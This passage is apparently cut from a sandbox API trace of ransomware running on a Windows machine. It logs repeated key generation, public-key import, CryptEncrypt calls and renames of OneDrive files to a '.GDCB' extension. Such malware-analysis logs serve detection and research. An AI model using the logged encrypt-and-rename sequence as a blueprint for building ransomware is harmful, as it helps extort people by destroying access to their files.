Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayLogo.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplaylogo.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayLogo.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplaylogo.png.gdcb")) returned 0 [0179.148] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0179.149] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.150] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.150] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0179.150] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0179.150] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0179.151] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.152] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.152] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0179.152] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0179.152] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0179.154] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691b08) returned 1 [0179.154] CryptGetKeyParam (in: hKey=0x3691b08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.154] CryptEncrypt (in: hKey=0x3691b08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0179.154] GetLastError () returned 0x0 [0179.154] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0179.154] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0179.156] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691c88) returned 1 [0179.156] CryptGetKeyParam (in: hKey=0x3691c88, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.156] CryptEncrypt (in: hKey=0x3691c88, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0179.156] GetLastError () returned 0x0 [0179.156] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0179.157] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0179.159] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0179.160] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0179.161] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x5d8f6, lpOverlapped=0x0) returned 1 [0179.186] VirtualAlloc (lpAddress=0x0, dwSize=0x5d900, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0179.199] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.gif" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.gif"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.gif.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.gif.gdcb")) returned 0 [0179.205] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0179.206] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.207] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.207] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0179.207] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0179.207] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0179.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.209] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.209] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0179.209] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0179.209] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0179.211] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691848) returned 1 [0179.212] CryptGetKeyParam (in: hKey=0x3691848, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.212] CryptEncrypt (in: hKey=0x3691848, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0179.212] GetLastError () returned 0x0 [0179.212] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0179.212] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0179.214] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691908) returned 1 [0179.214] CryptGetKeyParam (in: hKey=0x3691908, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.214] CryptEncrypt (in: hKey=0x3691908, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0179.214] GetLastError () returned 0x0 [0179.214] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0179.214] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0179.216] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0179.217] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0179.218] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x27f2, lpOverlapped=0x0) returned 1 [0179.286] VirtualAlloc (lpAddress=0x0, dwSize=0x2800, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0179.290] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\AutoPlayOptIn.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\autoplayoptin.png.gdcb")) returned 0 [0179.295] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0179.296] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.297] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.297] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0179.297] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0179.297] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0179.298] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.299] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.299] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0179.299] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0179.299] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0179.301] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x36915c8) returned 1 [0179.301] CryptGetKeyParam (in: hKey=0x36915c8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.301] CryptEncrypt (in: hKey=0x36915c8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0179.302] GetLastError () returned 0x0 [0179.302] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0179.302] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0179.305] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691bc8) returned 1 [0179.305] CryptGetKeyParam (in: hKey=0x3691bc8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.305] CryptEncrypt (in: hKey=0x3691bc8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0179.305] GetLastError () returned 0x0 [0179.305] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0179.305] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\exclusionlist.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0179.308] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0179.309] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0179.310] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x4e5f, lpOverlapped=0x0) returned 1 [0179.331] VirtualAlloc (lpAddress=0x0, dwSize=0x4e60, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0179.337] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\ExclusionList.xml" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\exclusionlist.xml"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.5892.0626_1\\ExclusionList.xml.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.5892.0626_1\\exclusionlist.xml.gdcb")) returned 0 [0179.357] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0179.358] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.359] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.359] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0179.359] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0179.359] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0179.360] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.361] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.361] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0179.361] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0179.361] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0179.363] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691788) returned 1 [0179.363] CryptGetKeyParam (in: hKey=0x3691788, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.363] CryptEncrypt (in: hKey=0x3691788, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0179.363] GetLastError () returned 0x0 [0179.363] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0179.363] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0179.366] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691708) returned 1 [0179.366] CryptGetKeyParam (in: hKey=0x3691708, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.366] CryptEncrypt (in: hKey=0x3691708, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0179.366] GetLastError () returned 0x0 [0179.366] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0179.366] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\alerticon.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0179.369] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0179.370] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0179.371] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x2ce, lpOverlapped=0x0) returned 1 [0179.585] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0179.589] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\alerticon.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\alertIcon.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\alerticon.png.gdcb")) returned 1 [0179.970] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0179.972] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.972] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.972] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0179.972] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0179.973] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0179.973] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0179.974] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0179.974] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0179.974] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0179.974] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0179.976] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691d08) returned 1 [0179.976] CryptGetKeyParam (in: hKey=0x3691d08, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.976] CryptEncrypt (in: hKey=0x3691d08, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5460000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x5460000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0179.977] GetLastError () returned 0x0 [0179.977] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0179.977] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0179.979] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x3691948) returned 1 [0179.979] CryptGetKeyParam (in: hKey=0x3691948, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0179.979] CryptEncrypt (in: hKey=0x3691948, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5470000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x5470000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0179.979] GetLastError () returned 0x0 [0179.979] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0179.979] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appblue.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0179.981] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x5480000 [0179.982] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x5490000 [0179.983] ReadFile (in: hFile=0x514, lpBuffer=0x5490000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x5490000*, lpNumberOfBytesRead=0x285d3e8*=0x157b, lpOverlapped=0x0) returned 1 [0179.995] VirtualAlloc (lpAddress=0x0, dwSize=0x1580, flAllocationType=0x3000, flProtect=0x4) returned 0x55a0000 [0180.097] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appblue.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.6917.0607\\AppBlue.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.6917.0607\\appblue.png.gdcb")) returned 1 [0180.103] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0180.104] GetModuleHandleA 